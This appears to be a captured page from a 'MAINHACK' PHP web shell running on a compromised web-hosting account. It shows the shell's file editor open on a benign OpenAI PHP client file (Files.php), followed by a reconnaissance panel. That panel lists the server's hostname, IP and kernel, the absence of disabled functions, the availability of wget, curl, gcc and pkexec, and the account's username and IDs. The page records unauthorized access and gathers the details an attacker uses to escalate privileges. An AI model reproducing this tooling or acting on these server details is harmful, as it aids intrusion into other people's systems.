[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Files.php
<?php declare(strict_types=1); namespace OpenAI\Resources; use OpenAI\Contracts\Resources\FilesContract; use OpenAI\Responses\Files\CreateResponse; use OpenAI\Responses\Files\DeleteResponse; use OpenAI\Responses\Files\ListResponse; use OpenAI\Responses\Files\RetrieveResponse; use OpenAI\ValueObjects\Transporter\Payload; final class Files implements FilesContract { use Concerns\Transportable; /** * Returns a list of files that belong to the user's organization. * * @see https://beta.openai.com/docs/api-reference/files/list */ public function list(): ListResponse { $payload = Payload::list('files'); /** @var array{object: string, data: array<int, array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null}>} $result */ $result = $this->transporter->requestObject($payload); return ListResponse::from($result); } /** * Returns information about a specific file. * * @see https://beta.openai.com/docs/api-reference/files/retrieve */ public function retrieve(string $file): RetrieveResponse { $payload = Payload::retrieve('files', $file); /** @var array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null} $result */ $result = $this->transporter->requestObject($payload); return RetrieveResponse::from($result); } /** * Returns the contents of the specified file. * * @see https://beta.openai.com/docs/api-reference/files/retrieve-content */ public function download(string $file): string { $payload = Payload::retrieveContent('files', $file); return $this->transporter->requestContent($payload); } /** * Upload a file that contains document(s) to be used across various endpoints/features. * * @see https://beta.openai.com/docs/api-reference/files/upload * * @param array<string, mixed> $parameters */ public function upload(array $parameters): CreateResponse { $payload = Payload::upload('files', $parameters); /** @var array{id: string, object: string, created_at: int, bytes: int, filename: string, purpose: string, status: string, status_details: array<array-key, mixed>|string|null} $result */ $result = $this->transporter->requestObject($payload); return CreateResponse::from($result); } /** * Delete a file. * * @see https://beta.openai.com/docs/api-reference/files/delete */ public function delete(string $file): DeleteResponse { $payload = Payload::delete('files', $file); /** @var array{id: string, object: string, deleted: bool} $result */ $result = $this->transporter->requestObject($payload); return DeleteResponse::from($result); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285